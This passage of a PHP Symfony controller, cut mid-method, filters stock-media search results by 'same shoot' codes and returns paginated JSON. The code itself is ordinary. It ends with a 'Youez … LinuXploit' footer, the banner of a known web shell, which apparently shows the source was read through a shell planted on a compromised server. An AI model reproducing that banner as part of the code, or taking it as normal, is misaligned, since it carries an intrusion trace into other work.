        $filteredStocks = [];
        $sameShootsPrev=$request->get('sameShoot');
        $sameShoots = explode(",",$sameShootsPrev);



        foreach ($paginated->getItems() as $stock){
            /**
             * @var Stock $stock
             */
            $shootCode = trim($stock->getSameShootCode());

            if ($shootCode=="" || $shootCode==null){
                array_push($filteredStocks, $stock);
            }
            else{
                if (!in_array($shootCode,$sameShoots, true)) {
                    if ($shootCode != "" || !empty($shootCode)) {
                        array_push($sameShoots, $shootCode);
                    }
//                    array_push($filteredStocks, $stock);
                    if (!in_array($stock,$filteredStocks)){
                        array_push($filteredStocks, $stock);
                    }
                }
            }
        }
//        $count=count($paginated);
//        $count=$paginated->getTotalItemCount();
        $count=is_array($stocks) ? count($stocks) : $stocks->getTotalHits();

        $lastPage = $count-($page*$maxItemsPerPage) <= 0;
        $paginated=$filteredStocks;

        $ajax= $request->get("ajax");

//        $type = $stockTypeRepository->find($search_type);

        return new JsonResponse([
            "html" => $this->renderView('search/_type_filter_template.html.twig',[
                'stocks' => $this->removeDuplicates($stocks),
//                '_type'=>$type
            ]),
            "count" => $count,
            'search_type' => $search_type,
            'stocks' => $stocks,
            'page' => $page,
//            '_type'=>$type,
            'last_page'=>$lastPage,
            'sameShoots'=>implode(",", $sameShoots)
        ]);
    }


    /**
     * @Route("/same-shoot/{id}/filter", name="elastica_same_shoot_stock_filter", options={"expose"=true})
     */
    public function same_shoot_stock_filter(Request $request,
                                         Stock $stock,
                                         RepositoryManagerInterface $manager,
                                         PaginatorInterface $pagination,
                                         $page=1,
                                         StockTypeRepository $stockTypeRepository)
    {
        $license = $request->get("license") ;
        $imageType = $request->get("type");
        $orientation = $request->get("orientation");
        $people = $request->get("people");
        $category = $request->get("category");
        $search = $request->get("search");
        $search_type = $request->get("search_type");
        $contributor = $request->get("contributor");
        $is_exclusive = $request->get("is_exclusive");
        $search_category = $request->get("search_category");
        $search_video_r = $request->get("video_resolution");
        $search_video_resolution = isset($search_video_r) && $search_video_r != null ? $search_video_r : "";

        $pge = $request->get("page");
        $page=isset($pge) ? $pge : $page;
        $maxItemsPerPage = 25;


        /**@var StockSearchRepository $stockSearchRepo**/
        $stockSearchRepository = $manager->getRepository(Stock::class);

        $stocks = $stockSearchRepository->same_shoot_stock_filter($stock,$search,$license,$imageType,$orientation,$people, $category,$contributor,$is_exclusive, $search_category, $search_video_resolution,1000);


        $paginated = $pagination->paginate($stocks,$page, $maxItemsPerPage);

        $count = is_array($stocks) ? count($stocks) : $stocks->getTotalHits();

        $lastPage = $count-($page*$maxItemsPerPage) <= 0;

        $ajax= $request->get("ajax");

        return new JsonResponse([
            "html" => $this->renderView('search/_type_filter_template.html.twig',[
                'stocks' => $stocks,
            ]),
            "count" => $count,
            'search_type' => $search_type,
            'stocks' => $paginated,
            'page' => $page,
            'last_page'=>$lastPage
        ]);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit